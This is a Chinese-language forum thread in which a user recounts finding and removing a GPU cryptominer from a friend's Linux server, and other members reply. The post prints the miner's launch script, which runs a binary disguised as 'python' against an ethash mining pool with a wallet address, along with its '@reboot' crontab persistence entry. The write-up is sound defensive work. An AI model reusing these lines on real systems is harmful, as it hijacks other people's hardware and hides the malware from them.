上一主题 下一主题
ScriptCat,新一代的脚本管理器脚本站,与全世界分享你的用户脚本油猴脚本开发指南教程目录
返回列表 发新帖

记一次挖矿病毒清除记录(很水)

[复制链接]
  • TA的每日心情

    2023-12-8 22:55
  • 签到天数: 37 天

    [LV.5]常住居民I

    15

    主题

    145

    回帖

    153

    积分

    荣誉开发者

    积分
    153

    荣誉开发者

    发表于 2022-4-14 12:50:59 | 显示全部楼层 | 阅读模式

    本帖最后由 执念e1 于 2022-4-14 12:53 编辑

    分析背景
    一个朋友做机器学习的机器疑似中了挖矿,显卡被python起来的进程100%占用。每次杀死进程后重启,进程就回来了,让给看看排查一下。这篇文章会很水,只有几条简单的命令,后续并没有对入侵路径进行回溯。但还是抱着分享的心态写一下,希望对没接触过的部分朋友有帮助。
    机器状态
    如下图,查看显卡的状态,几个python进程百分之百占用。

    图片.png
    使用top命令看一下

    图片.png
    其实上面两图都是朋友发过来的,直接看图也没法定位出具体问题来。

    然后跟朋友要了vpn和机器的账号密码直接root登录。

    排查过程
    因为朋友说重启后显卡还是被占用状态。

    直接执行

    crontab -l
    看下是否有可以进程,一步到位。看这个路径形式,基本有谱了。又问了一下朋友最早发现显卡状态的时间与upd文件写入的时间,基本吻合。
    图片.png
    查看了下.unix-front路径,存在这些文件。

    图片.png
    在其中某个文件里面发现如下代码

    if [ ! -d "proxy" ];    then proxy=`cat proxy` $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User --proxy $proxy>>/dev/null & else $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User >>/dev/null & fi

    其实看到这个协议基本就稳了,占用显卡挖矿的病毒就是这个导致的。
    图片.png

    清除善后
    执行如下指令,清空原来的开机自启动的配置。

    crontab -r
    当然,删除之前一定保留下原来的配置,虽然这次基本稳当了。但万一在处理客户系统时候删错,因此宕机,没法恢复,就凉凉了。

    @reboot /bin/.unix-font/upd >/dev/null 2>&1

    删除后,reboot重启机器,发现显卡降了下来,
    图片.png
    确定了是这个自启动的原因,直接删除。

    捎带看了一眼/etc/passwd文件,发现存在一个可疑账户,问了下,都没见过,使用pwck修复/etc/passwd文件然后直接删除。
    图片.png
    其他关于溯源,正常来说是要分析一下溯源,他们之前已经进行了很多操作了,一些日志也被破坏了。加上毕竟友情协助,就到这里啦。

    希望对大家有一丝的帮助

    已有1人评分油猫币 理由
    王一之 + 2 前几天才中挖坑。。。。

    查看全部评分 总评分:油猫币 +2 

    摸鱼中
  • TA的每日心情

    2023-12-8 22:55
  • 签到天数: 37 天

    [LV.5]常住居民I

    15

    主题

    145

    回帖

    153

    积分

    荣誉开发者

    积分
    153

    荣誉开发者

    发表于 2022-4-14 12:58:31 | 显示全部楼层
    https://xz.aliyun.com/t/11102
    大佬写的个挖矿检测心得,有兴趣的可以看看,我这看了几下就头疼,以后
    自己碰到了
    在说吧
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情

    2023-12-8 22:55
  • 签到天数: 37 天

    [LV.5]常住居民I

    15

    主题

    145

    回帖

    153

    积分

    荣誉开发者

    积分
    153

    荣誉开发者

    发表于 2022-4-14 13:00:17 | 显示全部楼层
    过两天如果没事的话预计会出一篇关于漏洞复现的帖子
    到时候大佬们来交流交流哈

    点评

    大概率是Dirty Pipe提权漏洞  发表于 2022-4-14 13:01
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2024-3-13 10:14
  • 签到天数: 211 天

    [LV.7]常住居民III

    284

    主题

    3810

    回帖

    3739

    积分

    管理员

    积分
    3739

    管理员荣誉开发者油中2周年生态建设者喜迎中秋油中3周年挑战者 lv2

    发表于 2022-4-14 14:33:41 | 显示全部楼层
    我机器前两天也被挖坑了。。。。不知道是什么原因,已经停了换服务器,反正也是快到期的
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2024-3-13 10:14
  • 签到天数: 211 天

    [LV.7]常住居民III

    284

    主题

    3810

    回帖

    3739

    积分

    管理员

    积分
    3739

    管理员荣誉开发者油中2周年生态建设者喜迎中秋油中3周年挑战者 lv2

    发表于 2022-4-14 14:37:35 | 显示全部楼层
    排版有点乱,是编辑器的问题吗?

    我处理了一下,好像有些图片没用上
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情

    2023-12-8 22:55
  • 签到天数: 37 天

    [LV.5]常住居民I

    15

    主题

    145

    回帖

    153

    积分

    荣誉开发者

    积分
    153

    荣誉开发者

    发表于 2022-4-14 15:27:40 | 显示全部楼层
    王一之 发表于 2022-4-14 14:37
    排版有点乱,是编辑器的问题吗?

    我处理了一下,好像有些图片没用上

    不知道,最下面几张图片本来已经删了,但是发出来发现在最下面,点开编辑也没显示有,试了几次就没多管了
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2024-3-13 10:14
  • 签到天数: 211 天

    [LV.7]常住居民III

    284

    主题

    3810

    回帖

    3739

    积分

    管理员

    积分
    3739

    管理员荣誉开发者油中2周年生态建设者喜迎中秋油中3周年挑战者 lv2

    发表于 2022-4-14 15:32:21 | 显示全部楼层
    执念e1 发表于 2022-4-14 15:27
    不知道,最下面几张图片本来已经删了,但是发出来发现在最下面,点开编辑也没显示有,试了几次就没多管了 ...

    好像要返回默认的编辑器编辑一次
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2023-2-28 23:59
  • 签到天数: 191 天

    [LV.7]常住居民III

    620

    主题

    5084

    回帖

    5958

    积分

    管理员

    非物质文化遗产社会摇传承人

    积分
    5958

    荣誉开发者管理员油中2周年生态建设者喜迎中秋

    发表于 2022-4-14 17:41:19 | 显示全部楼层
    哥哥原创的码
    还是挺厉害的!
    混的人。
    ------------------------------------------
    進撃!永遠の帝国の破壊虎---李恒道

    入驻了爱发电https://afdian.net/a/lihengdao666
    个人宣言:この世界で私に胜てる人とコードはまだ生まれていません。死ぬのが怖くなければ来てください。
    回复

    使用道具 举报

  • TA的每日心情

    2023-10-19 09:35
  • 签到天数: 66 天

    [LV.6]常住居民II

    6

    主题

    126

    回帖

    219

    积分

    高级工程师

    积分
    219

    油中2周年生态建设者

    发表于 2022-4-15 10:08:26 | 显示全部楼层
    这里是要发展成吾爱的态势?
    回复

    使用道具 举报

    发表回复

    本版积分规则

    快速回复 返回顶部 返回列表